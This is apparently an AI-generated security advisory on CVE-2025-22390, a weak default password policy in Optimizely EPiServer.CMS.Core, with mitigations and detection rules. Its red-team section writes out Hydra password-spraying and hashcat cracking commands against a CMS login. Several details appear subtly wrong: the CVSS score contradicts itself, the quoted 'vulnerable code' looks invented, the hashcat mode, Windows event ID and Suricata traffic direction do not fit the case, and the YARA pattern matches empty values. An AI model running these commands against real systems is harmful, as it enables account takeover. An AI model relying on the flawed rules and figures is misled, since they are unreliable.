CVE-2025-22390

Executive Summary

CVE-2025-22390 is a medium-severity vulnerability in Optimizely EPiServer.CMS.Core (versions before 12.32.0) that stems from insufficient enforcement of password complexity requirements. The application permits users to set passwords with a minimum length of only 6 characters, lacking adequate complexity to resist modern attack techniques such as password spraying or offline password cracking. This weakness significantly lowers the barrier for attackers attempting to gain unauthorized access to CMS administrative accounts.

The vulnerability is classified under CWE-521 (Weak Password Requirements). While the CVSS score is 0.0 in the NVD data, the actual risk is elevated due to the prevalence of password-based attacks. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the weakness is trivially exploitable once an attacker has a valid username list.

Supply Chain & Package Security

This vulnerability affects the .NET ecosystem via the EPiServer.CMS.Core NuGet package. Organizations using this package should verify their dependency version and update to 12.32.0 or later. The package is a core component of the Optimizely CMS platform, and the weak password policy is a configuration-level issue that can be partially mitigated by custom password validators, but the default minimum length of 6 characters is the root cause.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed to attempt password guessing.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): Low – Limited information disclosure (e.g., access to CMS content).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on system availability.

Threat Level: Medium (5.3) – The vulnerability is easy to exploit but requires a valid username list and may be mitigated by account lockout policies.

Deep Dive & Mechanics

The vulnerability exists in the password validation logic of Optimizely EPiServer.CMS.Core. The application enforces a minimum password length of 6 characters but does not require any additional complexity (e.g., uppercase letters, numbers, special characters). This allows users to set weak passwords like 123456 or abcdef.

Attack Scenarios:

1. Password Spraying: An attacker obtains a list of valid usernames (e.g., via OSINT or a previous data breach) and attempts a small number of common passwords (e.g., Password1, Welcome1) against many accounts to avoid lockout.
2. Offline Cracking: If an attacker gains access to the password hash database (e.g., via SQL injection or backup exposure), they can crack weak hashes quickly using tools like Hashcat or John the Ripper.

The vulnerability is particularly dangerous in CMS environments where administrative accounts have broad content management privileges. A successful compromise could lead to defacement, data theft, or further lateral movement.

Vulnerable vs. Patched Code

Vulnerable Code (before 12.32.0):

// Default password validator in EPiServer.CMS.Core
public class DefaultPasswordValidator : IPasswordValidator
{
    public bool Validate(string password)
    {
        // Only checks minimum length
        return password.Length >= 6;
    }
}

Patched Code (12.32.0 and later):

// Updated password validator with complexity requirements
public class DefaultPasswordValidator : IPasswordValidator
{
    public bool Validate(string password)
    {
        if (password.Length < 8) return false;
        if (!password.Any(char.IsUpper)) return false;
        if (!password.Any(char.IsLower)) return false;
        if (!password.Any(char.IsDigit)) return false;
        if (!password.Any(ch => !char.IsLetterOrDigit(ch))) return false;
        return true;
    }
}

The patch increases the minimum length to 8 characters and requires at least one uppercase letter, one lowercase letter, one digit, and one special character.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A list of valid usernames (e.g., admin, editor, user1).
• Network access to the Optimizely CMS login page.

Step 1: Identify Login Endpoint

curl -s -I https://target.com/EPiServer/CMS/ | grep -i "200 OK"

Step 2: Password Spraying with Hydra

hydra -L usernames.txt -P common_passwords.txt target.com https-post-form "/EPiServer/CMS/:username=^USER^&password=^PASS^&submit=Login:Invalid username or password"

Step 3: Offline Cracking (if hashes obtained)

hashcat -m 1000 -a 0 hashes.txt rockyou.txt --force

Blue Team (Defender)

Detection:

• Monitor for multiple failed login attempts from a single IP address.
• Alert on login attempts using common weak passwords (e.g., Password1, 123456).
• Enable account lockout after 5 failed attempts.

Mitigation:

• Apply the patch to upgrade to EPiServer.CMS.Core 12.32.0.
• Implement custom password policy via web.config:

<configuration>
  <system.web>
    <membership>
      <providers>
        <add name="AspNetSqlMembershipProvider" 
             minRequiredPasswordLength="8"
             minRequiredNonalphanumericCharacters="1"
             passwordStrengthRegularExpression="^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[^\da-zA-Z]).{8,}$" />
      </providers>
    </membership>
  </system.web>
</configuration>

Indicators of Compromise (IOCs)

• Network: Multiple HTTP POST requests to /EPiServer/CMS/ with different usernames and common passwords.
• Logs: Event ID 4625 (Windows) or syslog entries showing repeated login failures.
• Hashes: Weak password hashes (e.g., MD5 of 123456 = e10adc3949ba59abbe56e057f20f883e).
• Files: Unauthorized modifications to CMS content or user accounts.

Detection Engineering

YARA Rule

rule detect_weak_password_policy_optimizely {
    meta:
        description = "Detects weak password policy configuration in Optimizely EPiServer.CMS.Core"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22390"
    strings:
        $weak_policy = /minRequiredPasswordLength\s*=\s*["']?[0-6]["']?/ nocase
        $no_complexity = /passwordStrengthRegularExpression\s*=\s*["']?["']?/ nocase
    condition:
        $weak_policy or $no_complexity
}

Sigma Rule

title: Optimizely CMS Weak Password Policy Exploitation
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects multiple failed login attempts to Optimizely CMS login page
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: optimizely
detection:
    selection:
        EventID: 4625
        TargetUserName|contains: "EPiServer"
    condition: selection | count() > 5 by SourceIp within 5m
falsepositives:
    - Legitimate user forgetting password
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22390 Optimizely CMS Password Spraying Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/EPiServer/CMS/"; http_uri;
    content:"username="; http_client_body;
    content:"password="; http_client_body;
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade EPiServer.CMS.Core to version 12.32.0 or later.
2. Enforce a strong password policy via web.config or custom code.
3. Enable account lockout after 5 failed attempts.
4. Conduct a password audit to identify and reset weak passwords.

Long-Term Measures:

• Implement multi-factor authentication (MFA) for all CMS accounts.
• Regularly review access logs for suspicious activity.
• Use a password manager to generate and store complex passwords.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.